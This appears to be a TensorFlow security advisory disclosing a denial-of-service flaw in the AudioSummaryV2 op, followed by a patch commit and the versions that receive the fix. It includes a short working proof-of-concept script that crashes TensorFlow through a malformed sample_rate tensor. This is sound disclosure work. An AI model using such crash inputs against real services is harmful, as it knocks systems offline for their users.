Impact

When AudioSummaryV2 receives an input sample_rate with more than one element, it gives a CHECK fails that can be used to trigger a denial of service attack.

import tensorflow as tf
arg_0=''
arg_1=tf.random.uniform(shape=(1,1), dtype=tf.float32, maxval=None)
arg_2=tf.random.uniform(shape=(2,1), dtype=tf.float32, maxval=None)
arg_3=3
arg_4=''
tf.raw_ops.AudioSummaryV2(tag=arg_0, tensor=arg_1, sample_rate=arg_2,
                          max_outputs=arg_3, name=arg_4)

Patches

We have patched the issue in GitHub commit bf6b45244992e2ee543c258e519489659c99fb7f.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
